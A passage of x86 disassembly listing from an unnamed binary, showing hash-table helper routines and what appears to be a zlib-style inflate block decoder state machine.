--------------------------------------------------------------------------- loc_4DB8CF: ; CODE XREF: sub_4DB891+35j mov eax, [ebp+var_4] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_4DB8B2 ; --------------------------------------------------------------------------- loc_4DB8DA: ; CODE XREF: sub_4DB891+25j xor eax, eax locret_4DB8DC: ; CODE XREF: sub_4DB891+3Cj leave retn 0Ch sub_4DB891 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB8E0 proc near ; CODE XREF: sub_4CF818+93p ; sub_4CFD24+106p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_4DBAFE push offset sub_4DB85D push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_4DB900 leave retn 4 sub_4DB8E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB900 proc near ; CODE XREF: sub_4D5FCD+F1p ; sub_4DB8E0+17p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_18], ecx mov eax, [ebp+var_18] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_8] pop ecx pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_18] mov eax, [eax+8] mov ecx, [ebp+var_C] mov eax, [eax+ecx*4] mov [ebp+var_8], eax mov eax, [ebp+var_18] mov eax, [eax+8] mov ecx, [ebp+var_C] lea eax, [eax+ecx*4] mov [ebp+var_4], eax loc_4DB937: ; CODE XREF: sub_4DB900+86j cmp [ebp+var_8], 0 jz short loc_4DB988 push [ebp+arg_0] mov eax, [ebp+var_8] push dword ptr [eax+4] call [ebp+arg_4] test eax, eax jnz short loc_4DB974 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov ecx, [ecx+8] mov [eax], ecx mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax push [ebp+var_14] call sub_4D83DD pop ecx mov eax, [ebp+var_10] jmp short locret_4DB98A ; --------------------------------------------------------------------------- loc_4DB974: ; CODE XREF: sub_4DB900+4Bj mov eax, [ebp+var_8] add eax, 8 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov eax, [eax+8] mov [ebp+var_8], eax jmp short loc_4DB937 ; --------------------------------------------------------------------------- loc_4DB988: ; CODE XREF: sub_4DB900+3Bj xor eax, eax locret_4DB98A: ; CODE XREF: sub_4DB900+72j leave retn 0Ch sub_4DB900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB98E proc near ; CODE XREF: sub_4CC000+3Ep ; sub_4D0216+D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push offset sub_4DBAFE push offset sub_4DB85D push [ebp+arg_4] push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_4DB9B1 leave retn 8 sub_4DB98E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DB9B1 proc near ; CODE XREF: sub_4D5BD7+204p ; sub_4DB98E+1Ap var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push edi mov [ebp+var_10], ecx mov eax, [ebp+var_10] push dword ptr [eax] push [ebp+arg_0] call [ebp+arg_C] pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_8] mov eax, [eax+ecx*4] mov [ebp+var_4], eax loc_4DB9DA: ; CODE XREF: sub_4DB9B1+52j cmp [ebp+var_4], 0 jz short loc_4DBA05 push [ebp+arg_0] mov eax, [ebp+var_4] push dword ptr [eax+4] call [ebp+arg_8] test eax, eax jnz short loc_4DB9FA mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax], ecx jmp short loc_4DBA62 ; --------------------------------------------------------------------------- loc_4DB9FA: ; CODE XREF: sub_4DB9B1+3Dj mov eax, [ebp+var_4] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_4DB9DA ; --------------------------------------------------------------------------- loc_4DBA05: ; CODE XREF: sub_4DB9B1+2Dj push 0Ch call sub_4D835A pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4DBA26 xor eax, eax mov edi, [ebp+var_C] stosd stosd stosd mov eax, [ebp+var_C] mov [ebp+var_14], eax jmp short loc_4DBA2A ; --------------------------------------------------------------------------- loc_4DBA26: ; CODE XREF: sub_4DB9B1+63j and [ebp+var_14], 0 loc_4DBA2A: ; CODE XREF: sub_4DB9B1+73j mov eax, [ebp+var_14] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax+4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax], ecx mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov eax, [eax+edx*4] mov [ecx+8], eax mov eax, [ebp+var_10] mov eax, [eax+8] mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [eax+ecx*4], edx loc_4DBA62: ; CODE XREF: sub_4DB9B1+47j pop edi leave retn 10h sub_4DB9B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBA67 proc near ; CODE XREF: sub_4D46D0+6Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax+0Ch], 0 leave retn sub_4DBA67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBA7E proc near ; CODE XREF: sub_4D46D0+82p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx loc_4DBA85: ; CODE XREF: sub_4DBA7E+5Dj mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov eax, [eax+4] cmp eax, [ecx] jb short loc_4DBA96 xor al, al jmp short locret_4DBAFA ; --------------------------------------------------------------------------- loc_4DBA96: ; CODE XREF: sub_4DBA7E+12j mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 0 jnz short loc_4DBAB6 mov eax, [ebp+var_4] mov eax, [eax+4] mov ecx, [ebp+var_4] mov ecx, [ecx+8] mov edx, [ebp+var_4] mov eax, [ecx+eax*4] mov [edx+0Ch], eax jmp short loc_4DBAC5 ; --------------------------------------------------------------------------- loc_4DBAB6: ; CODE XREF: sub_4DBA7E+1Fj mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+var_4] mov eax, [eax+8] mov [ecx+0Ch], eax loc_4DBAC5: ; CODE XREF: sub_4DBA7E+36j mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 0 jnz short loc_4DBADD mov eax, [ebp+var_4] mov eax, [eax+4] inc eax mov ecx, [ebp+var_4] mov [ecx+4], eax jmp short loc_4DBA85 ; --------------------------------------------------------------------------- loc_4DBADD: ; CODE XREF: sub_4DBA7E+4Ej mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+arg_0] mov eax, [eax+4] mov [ecx], eax mov eax, [ebp+var_4] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov eax, [eax] mov [ecx], eax mov al, 1 locret_4DBAFA: ; CODE XREF: sub_4DBA7E+16j leave retn 8 sub_4DBA7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBAFE proc near ; DATA XREF: sub_4DB871+7o ; sub_4DB8E0+7o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] mov eax, edx pop ebp retn sub_4DBAFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBB0D proc near ; DATA XREF: sub_4D58CF+Co ; sub_4D5BD7+1EDo ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4DBB47 jmp short loc_4DBB2B ; --------------------------------------------------------------------------- loc_4DBB24: ; CODE XREF: sub_4DBB0D+38j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4DBB2B: ; CODE XREF: sub_4DBB0D+15j mov eax, [ebp+var_4] movzx eax, byte ptr [eax] test eax, eax jz short loc_4DBB47 mov eax, [ebp+var_8] shl eax, 1 mov ecx, [ebp+var_4] movzx ecx, byte ptr [ecx] or eax, ecx mov [ebp+var_8], eax jmp short loc_4DBB24 ; --------------------------------------------------------------------------- loc_4DBB47: ; CODE XREF: sub_4DBB0D+13j ; sub_4DBB0D+26j mov eax, [ebp+var_8] xor edx, edx div [ebp+arg_4] mov eax, edx leave retn sub_4DBB0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBB53 proc near ; CODE XREF: sub_4DBBBF+7Dp ; sub_4DC5B0+Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx xor ebx, ebx push esi mov esi, [ebp+arg_0] cmp eax, ebx push edi jz short loc_4DBB6A mov ecx, [esi+3Ch] mov [eax], ecx loc_4DBB6A: ; CODE XREF: sub_4DBB53+10j mov eax, [esi] mov edi, [ebp+arg_4] cmp eax, 4 jz short loc_4DBB79 cmp eax, 5 jnz short loc_4DBB84 loc_4DBB79: ; CODE XREF: sub_4DBB53+1Fj push dword ptr [esi+0Ch] push dword ptr [edi+28h] call dword ptr [edi+24h] pop ecx pop ecx loc_4DBB84: ; CODE XREF: sub_4DBB53+24j cmp dword ptr [esi], 6 jnz short loc_4DBB94 push edi push dword ptr [esi+4] call sub_4DCBD8 pop ecx pop ecx loc_4DBB94: ; CODE XREF: sub_4DBB53+34j mov eax, [esi+28h] mov [esi], ebx mov [esi+34h], eax mov [esi+30h], eax mov eax, [esi+38h] mov [esi+1Ch], ebx cmp eax, ebx mov [esi+20h], ebx jz short loc_4DBBBA push ebx push ebx push ebx call eax mov [esi+3Ch], eax add esp, 0Ch mov [edi+30h], eax loc_4DBBBA: ; CODE XREF: sub_4DBB53+57j pop edi pop esi pop ebx pop ebp retn sub_4DBB53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBBBF proc near ; CODE XREF: sub_4DCF41+AFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push 40h push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_4DBC26 push 5A0h push 8 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [edi+24h], eax test eax, eax jnz short loc_4DBBFD push edi push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx jmp short loc_4DBC26 ; --------------------------------------------------------------------------- loc_4DBBFD: ; CODE XREF: sub_4DBBBF+31j mov ebx, [ebp+arg_8] push ebx push 1 push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [edi+28h], eax test eax, eax jnz short loc_4DBC2A push dword ptr [edi+24h] push dword ptr [esi+28h] call dword ptr [esi+24h] push edi push dword ptr [esi+28h] call dword ptr [esi+24h] add esp, 10h loc_4DBC26: ; CODE XREF: sub_4DBBBF+1Aj ; sub_4DBBBF+3Cj xor eax, eax jmp short loc_4DBC46 ; --------------------------------------------------------------------------- loc_4DBC2A: ; CODE XREF: sub_4DBBBF+52j and dword ptr [edi], 0 add eax, ebx mov [edi+2Ch], eax mov eax, [ebp+arg_4] push 0 push esi push edi mov [edi+38h], eax call sub_4DBB53 add esp, 0Ch mov eax, edi loc_4DBC46: ; CODE XREF: sub_4DBBBF+69j pop edi pop esi pop ebx pop ebp retn sub_4DBBBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DBC4B proc near ; CODE XREF: sub_4DD043+11Bp var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi mov ecx, [eax] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebx+20h] mov [ebp+arg_0], eax mov eax, [ebx+1Ch] mov [ebp+var_10], ecx mov ecx, [ebx+34h] mov [ebp+var_4], eax mov eax, [ebx+30h] cmp ecx, eax push edi mov [ebp+var_C], ecx jnb short loc_4DBC83 sub eax, ecx dec eax jmp short loc_4DBC88 ; --------------------------------------------------------------------------- loc_4DBC83: ; CODE XREF: sub_4DBC4B+31j mov eax, [ebx+2Ch] sub eax, ecx loc_4DBC88: ; CODE XREF: sub_4DBC4B+36j mov [ebp+var_14], eax loc_4DBC8B: ; CODE XREF: sub_4DBC4B+ADj ; sub_4DBC4B+10Bj ... mov eax, [ebx] cmp eax, 9 ; switch 10 cases ja loc_4DC550 ; default jmp ds:off_4DC588[eax*4] ; switch jump loc_4DBC9D: ; DATA XREF: _4:off_4DC588o mov edi, [ebp+var_4] ; jumptable 004DBC96 case 0 mov esi, [ebp+arg_0] mov edx, [ebp+var_10] cmp edi, 3 jnb short loc_4DBCD7 loc_4DBCAB: ; CODE XREF: sub_4DBC4B+8Aj cmp [ebp+var_8], 0 jz loc_4DC28C movzx eax, byte ptr [edx] and [ebp+arg_8], 0 dec [ebp+var_8] mov ecx, edi add edi, 8 shl eax, cl mov [ebp+var_4], edi or esi, eax inc edx cmp edi, 3 mov [ebp+arg_0], esi mov [ebp+var_10], edx jb short loc_4DBCAB loc_4DBCD7: ; CODE XREF: sub_4DBC4B+5Ej mov eax, esi and eax, 7 mov ecx, eax shr eax, 1 and ecx, 1 sub eax, 0 mov [ebx+18h], ecx jz short loc_4DBD5B dec eax jz short loc_4DBD0D dec eax jz short loc_4DBCFA dec eax jz loc_4DC2A7 jmp short loc_4DBC8B ; --------------------------------------------------------------------------- loc_4DBCFA: ; CODE XREF: sub_4DBC4B+A4j push 3 pop eax shr esi, 3 sub edi, eax mov [ebp+arg_0], esi mov [ebp+var_4], edi jmp loc_4DBDE7 ; --------------------------------------------------------------------------- loc_4DBD0D: ; CODE XREF: sub_4DBC4B+A1j mov edi, [ebp+arg_4] lea eax, [ebp+var_1C] push edi push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28] push eax call sub_4DD8AF push edi push [ebp+var_1C] push [ebp+var_20] push [ebp+var_24] push [ebp+var_28] call sub_4DC5E6 add esp, 28h mov [ebx+4], eax test eax, eax jz loc_4DC2D7 shr esi, 3 sub [ebp+var_4], 3 mov [ebp+arg_0], esi mov dword ptr [ebx], 6 jmp loc_4DBC8B ; --------------------------------------------------------------------------- loc_4DBD5B: ; CODE XREF: sub_4DBC4B+9Ej sub edi, 3 mov dword ptr [ebx], 1 mov ecx, edi and ecx, 7 shr esi, 3 shr esi, cl sub edi, ecx mov [ebp+var_4], edi mov [ebp+arg_0], esi jmp loc_4DBC8B ; --------------------------------------------------------------------------- loc_4DBD7B: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov ecx, [ebp+var_4] ; jumptable 004DBC96 case 1 mov esi, [ebp+arg_0] cmp ecx, 20h jnb short loc_4DBDAF mov edx, [ebp+var_10] xor edi, edi loc_4DBD8B: ; CODE XREF: sub_4DBC4B+160j cmp [ebp+var_8], edi jz loc_4DC300 movzx eax, byte ptr [edx] dec [ebp+var_8] mov [ebp+arg_8], edi shl eax, cl add ecx, 8 or esi, eax inc edx cmp ecx, 20h mov [ebp+var_10], edx jb short loc_4DBD8B jmp short loc_4DBDB2 ; --------------------------------------------------------------------------- loc_4DBDAF: ; CODE XREF: sub_4DBC4B+139j mov edx, [ebp+var_10] loc_4DBDB2: ; CODE XREF: sub_4DBC4B+162j mov edi, esi mov eax, esi not edi and eax, 0FFFFh shr edi, 10h xor edi, eax jnz loc_4DC30E mov [ebx+4], eax xor eax, eax cmp [ebx+4], eax mov [ebp+var_4], eax mov [ebp+arg_0], eax jz short loc_4DBDDD push 2 pop eax jmp short loc_4DBDE7 ; --------------------------------------------------------------------------- loc_4DBDDD: ; CODE XREF: sub_4DBC4B+18Bj ; sub_4DBC4B+288j mov eax, [ebx+18h] neg eax sbb eax, eax and eax, 7 loc_4DBDE7: ; CODE XREF: sub_4DBC4B+BDj ; sub_4DBC4B+190j mov [ebx], eax jmp loc_4DBC8B ; --------------------------------------------------------------------------- loc_4DBDEE: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o cmp [ebp+var_8], 0 ; jumptable 004DBC96 case 2 jz loc_4DC326 mov ecx, [ebp+var_14] test ecx, ecx jnz loc_4DBE93 mov ecx, [ebx+2Ch] mov edx, [ebp+var_C] cmp edx, ecx jnz short loc_4DBE30 mov eax, [ebx+30h] mov esi, [ebx+28h] cmp eax, esi jz short loc_4DBE30 mov edx, esi cmp edx, eax mov [ebp+var_C], edx jnb short loc_4DBE27 sub eax, edx dec eax mov ecx, eax jmp short loc_4DBE29 ; --------------------------------------------------------------------------- loc_4DBE27: ; CODE XREF: sub_4DBC4B+1D3j sub ecx, edx loc_4DBE29: ; CODE XREF: sub_4DBC4B+1DAj test ecx, ecx mov [ebp+var_14], ecx jnz short loc_4DBE93 loc_4DBE30: ; CODE XREF: sub_4DBC4B+1C0j ; sub_4DBC4B+1CAj push [ebp+arg_8] mov esi, [ebp+arg_4] mov [ebx+34h], edx push esi push ebx call sub_4DD8DE mov edx, [ebx+34h] mov [ebp+arg_8], eax mov eax, [ebx+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_C], edx jnb short loc_4DBE5A mov ecx, eax sub ecx, edx dec ecx jmp short loc_4DBE5F ; --------------------------------------------------------------------------- loc_4DBE5A: ; CODE XREF: sub_4DBC4B+206j mov ecx, [ebx+2Ch] sub ecx, edx loc_4DBE5F: ; CODE XREF: sub_4DBC4B+20Dj mov edi, [ebx+2Ch] mov [ebp+var_14], ecx cmp edx, edi mov [ebp+var_18], edi jnz short loc_4DBE8B mov edi, [ebx+28h] cmp eax, edi jz short loc_4DBE8B mov edx, edi cmp edx, eax mov [ebp+var_C], edx jnb short loc_4DBE83 sub eax, edx dec eax mov ecx, eax jmp short loc_4DBE88 ; --------------------------------------------------------------------------- loc_4DBE83: ; CODE XREF: sub_4DBC4B+22Fj mov ecx, [ebp+var_18] sub ecx, edx loc_4DBE88: ; CODE XREF: sub_4DBC4B+236j mov [ebp+var_14], ecx loc_4DBE8B: ; CODE XREF: sub_4DBC4B+21Fj ; sub_4DBC4B+226j test ecx, ecx jz loc_4DC347 loc_4DBE93: ; CODE XREF: sub_4DBC4B+1B2j ; sub_4DBC4B+1E3j mov eax, [ebx+4] and [ebp+arg_8], 0 cmp eax, [ebp+var_8] jbe short loc_4DBEA2 mov eax, [ebp+var_8] loc_4DBEA2: ; CODE XREF: sub_4DBC4B+252j cmp eax, ecx jbe short loc_4DBEA8 mov eax, ecx loc_4DBEA8: ; CODE XREF: sub_4DBC4B+259j mov esi, [ebp+var_10] mov edi, [ebp+var_C] mov ecx, eax add [ebp+var_10], eax mov edx, ecx sub [ebp+var_8], eax shr ecx, 2 rep movsd add [ebp+var_C], eax sub [ebp+var_14], eax mov ecx, edx and ecx, 3 rep movsb sub [ebx+4], eax jnz loc_4DBC8B jmp loc_4DBDDD ; --------------------------------------------------------------------------- loc_4DBED8: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov ecx, [ebp+var_4] ; jumptable 004DBC96 case 3 mov edi, [ebp+var_10] cmp ecx, 0Eh jnb short loc_4DBF08 loc_4DBEE3: ; CODE XREF: sub_4DBC4B+2BBj cmp [ebp+var_8], 0 jz loc_4DC370 movzx eax, byte ptr [edi] and [ebp+arg_8], 0 dec [ebp+var_8] shl eax, cl add ecx, 8 mov [ebp+var_4], ecx or [ebp+arg_0], eax inc edi cmp ecx, 0Eh jb short loc_4DBEE3 loc_4DBF08: ; CODE XREF: sub_4DBC4B+296j mov eax, [ebp+arg_0] and eax, 3FFFh mov ecx, eax mov [ebx+4], eax and ecx, 1Fh cmp ecx, 1Dh ja loc_4DC3C2 mov edx, eax and edx, 3E0h cmp edx, 3A0h ja loc_4DC3C2 mov esi, [ebp+arg_4] push 4 shr eax, 5 and eax, 1Fh lea eax, [eax+ecx+102h] push eax push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch mov [ebx+0Ch], eax test eax, eax jz loc_4DC39A shr [ebp+arg_0], 0Eh sub [ebp+var_4], 0Eh and dword ptr [ebx+8], 0 mov dword ptr [ebx], 4 jmp short loc_4DBF76 ; --------------------------------------------------------------------------- loc_4DBF70: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov edi, [ebp+var_10] ; jumptable 004DBC96 case 4 mov esi, [ebp+arg_4] loc_4DBF76: ; CODE XREF: sub_4DBC4B+323j mov eax, [ebx+4] shr eax, 0Ah add eax, 4 cmp [ebx+8], eax jnb short loc_4DBFDF loc_4DBF84: ; CODE XREF: sub_4DBC4B+392j mov ecx, [ebp+var_4] loc_4DBF87: ; CODE XREF: sub_4DBC4B+361j cmp ecx, 3 jnb short loc_4DBFAE cmp [ebp+var_8], 0 jz loc_4DC432 movzx eax, byte ptr [edi] and [ebp+arg_8], 0 dec [ebp+var_8] shl eax, cl or [ebp+arg_0], eax inc edi add ecx, 8 mov [ebp+var_4], ecx jmp short loc_4DBF87 ; --------------------------------------------------------------------------- loc_4DBFAE: ; CODE XREF: sub_4DBC4B+33Fj mov ecx, [ebx+8] mov eax, [ebp+arg_0] mov edx, [ebx+0Ch] and eax, 7 mov ecx, ds:dword_4DE060[ecx*4] sub [ebp+var_4], 3 shr [ebp+arg_0], 3 mov [edx+ecx*4], eax mov ecx, [ebx+4] inc dword ptr [ebx+8] mov eax, [ebx+8] shr ecx, 0Ah add ecx, 4 cmp eax, ecx jb short loc_4DBF84 loc_4DBFDF: ; CODE XREF: sub_4DBC4B+337j ; sub_4DBC4B+3AEj cmp dword ptr [ebx+8], 13h jnb short loc_4DBFFB mov eax, [ebx+8] mov ecx, [ebx+0Ch] mov eax, ds:dword_4DE060[eax*4] and dword ptr [ecx+eax*4], 0 inc dword ptr [ebx+8] jmp short loc_4DBFDF ; --------------------------------------------------------------------------- loc_4DBFFB: ; CODE XREF: sub_4DBC4B+398j push esi lea ecx, [ebx+14h] push dword ptr [ebx+24h] lea eax, [ebx+10h] push ecx push eax push dword ptr [ebx+0Ch] mov dword ptr [eax], 7 call sub_4DD3A6 add esp, 14h mov [ebp+var_14], eax test eax, eax jnz loc_4DC3F2 and [ebx+8], eax mov dword ptr [ebx], 5 jmp short loc_4DC034 ; --------------------------------------------------------------------------- loc_4DC02E: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov edi, [ebp+var_10] ; jumptable 004DBC96 case 5 mov esi, [ebp+arg_4] loc_4DC034: ; CODE XREF: sub_4DBC4B+3E1j ; sub_4DBC4B+46Bj ... mov eax, [ebx+4] mov ecx, [ebx+8] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] cmp ecx, eax jnb loc_4DC178 mov eax, [ebx+10h] loc_4DC057: ; CODE XREF: sub_4DBC4B+432j cmp [ebp+var_4], eax jnb short loc_4DC07F cmp [ebp+var_8], 0 jz loc_4DC432 movzx edx, byte ptr [edi] mov ecx, [ebp+var_4] and [ebp+arg_8], 0 dec [ebp+var_8] shl edx, cl or [ebp+arg_0], edx inc edi add [ebp+var_4], 8 jmp short loc_4DC057 ; --------------------------------------------------------------------------- loc_4DC07F: ; CODE XREF: sub_4DBC4B+40Fj mov eax, ds:dword_4E0318[eax*4] mov ecx, [ebx+14h] and eax, [ebp+arg_0] mov edx, [ecx+eax*8+4] lea eax, [ecx+eax*8] cmp edx, 10h mov [ebp+var_18], edx movzx ecx, byte ptr [eax+1] mov [ebp+var_14], ecx jnb short loc_4DC0BB shr [ebp+arg_0], cl mov eax, ecx mov ecx, [ebx+0Ch] sub [ebp+var_4], eax mov eax, [ebx+8] mov [ecx+eax*4], edx inc dword ptr [ebx+8] jmp loc_4DC034 ; --------------------------------------------------------------------------- loc_4DC0BB: ; CODE XREF: sub_4DBC4B+455j cmp edx, 12h jnz short loc_4DC0C5 push 7 pop eax jmp short loc_4DC0C8 ; --------------------------------------------------------------------------- loc_4DC0C5: ; CODE XREF: sub_4DBC4B+473j lea eax, [edx-0Eh] loc_4DC0C8: ; CODE XREF: sub_4DBC4B+478j xor ecx, ecx cmp edx, 12h setnz cl dec ecx and ecx, 8 add ecx, 3 mov [ebp+var_10], ecx loc_4DC0DA: ; CODE XREF: sub_4DBC4B+4BBj mov ecx, [ebp+var_14] lea edx, [eax+ecx] cmp [ebp+var_4], edx jnb short loc_4DC108 cmp [ebp+var_8], 0 jz loc_4DC432 movzx edx, byte ptr [edi] mov ecx, [ebp+var_4] and [ebp+arg_8], 0 dec [ebp+var_8] shl edx, cl or [ebp+arg_0], edx inc edi add [ebp+var_4], 8 jmp short loc_4DC0DA ; --------------------------------------------------------------------------- loc_4DC108: ; CODE XREF: sub_4DBC4B+498j shr [ebp+arg_0], cl mov ecx, ds:dword_4E0318[eax*4] and ecx, [ebp+arg_0] add [ebp+var_10], ecx mov ecx, eax shr [ebp+arg_0], cl mov ecx, [ebp+var_14] add eax, ecx mov ecx, [ebx+8] sub [ebp+var_4], eax mov eax, [ebx+4] mov edx, eax and eax, 1Fh shr edx, 5 and edx, 1Fh lea eax, [edx+eax+102h] mov edx, [ebp+var_10] add edx, ecx cmp edx, eax ja loc_4DC456 cmp [ebp+var_18], 10h jnz short loc_4DC162 cmp ecx, 1 jb loc_4DC456 mov eax, [ebx+0Ch] mov eax, [eax+ecx*4-4] jmp short loc_4DC164 ; --------------------------------------------------------------------------- loc_4DC162: ; CODE XREF: sub_4DBC4B+503j xor eax, eax loc_4DC164: ; CODE XREF: sub_4DBC4B+515j ; sub_4DBC4B+523j mov edx, [ebx+0Ch] mov [edx+ecx*4], eax inc ecx dec [ebp+var_10] jnz short loc_4DC164 mov [ebx+8], ecx jmp loc_4DC034 ; --------------------------------------------------------------------------- loc_4DC178: ; CODE XREF: sub_4DBC4B+403j push esi lea ecx, [ebp+var_2C] push dword ptr [ebx+24h] mov eax, [ebx+4] and dword ptr [ebx+14h], 0 mov [ebp+var_18], 9 push ecx lea ecx, [ebp+var_30] push ecx lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_18] push ecx mov ecx, eax push dword ptr [ebx+0Ch] and eax, 1Fh shr ecx, 5 and ecx, 1Fh add eax, 101h inc ecx mov [ebp+var_10], 6 push ecx push eax call sub_4DD7AC add esp, 24h mov [ebp+var_14], eax test eax, eax jnz loc_4DC49E push esi push [ebp+var_2C] push [ebp+var_30] push [ebp+var_10] push [ebp+var_18] call sub_4DC5E6 add esp, 14h test eax, eax jz loc_4DC39A push dword ptr [ebx+0Ch] mov [ebx+4], eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov dword ptr [ebx], 6 pop ecx jmp short loc_4DC203 ; --------------------------------------------------------------------------- loc_4DC1FD: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov edi, [ebp+var_10] ; jumptable 004DBC96 case 6 mov esi, [ebp+arg_4] loc_4DC203: ; CODE XREF: sub_4DBC4B+5B0j mov eax, [ebp+arg_0] push [ebp+arg_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] push esi mov [esi], edi push ebx add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax call sub_4DC61A add esp, 0Ch cmp eax, 1 jnz loc_4DC4EE and [ebp+arg_8], 0 push esi push dword ptr [ebx+4] call sub_4DCBD8 mov eax, [esi+4] mov edi, [esi] mov [ebp+var_8], eax mov eax, [ebx+20h] pop ecx mov [ebp+arg_0], eax mov eax, [ebx+1Ch] pop ecx mov ecx, [ebx+34h] mov [ebp+var_4], eax mov eax, [ebx+30h] mov [ebp+var_10], edi cmp ecx, eax mov [ebp+var_C], ecx jnb short loc_4DC272 sub eax, ecx dec eax jmp short loc_4DC277 ; --------------------------------------------------------------------------- loc_4DC272: ; CODE XREF: sub_4DBC4B+620j mov eax, [ebx+2Ch] sub eax, ecx loc_4DC277: ; CODE XREF: sub_4DBC4B+625j cmp dword ptr [ebx+18h], 0 mov [ebp+var_14], eax jnz loc_4DC4A7 and dword ptr [ebx], 0 jmp loc_4DBC8B ; 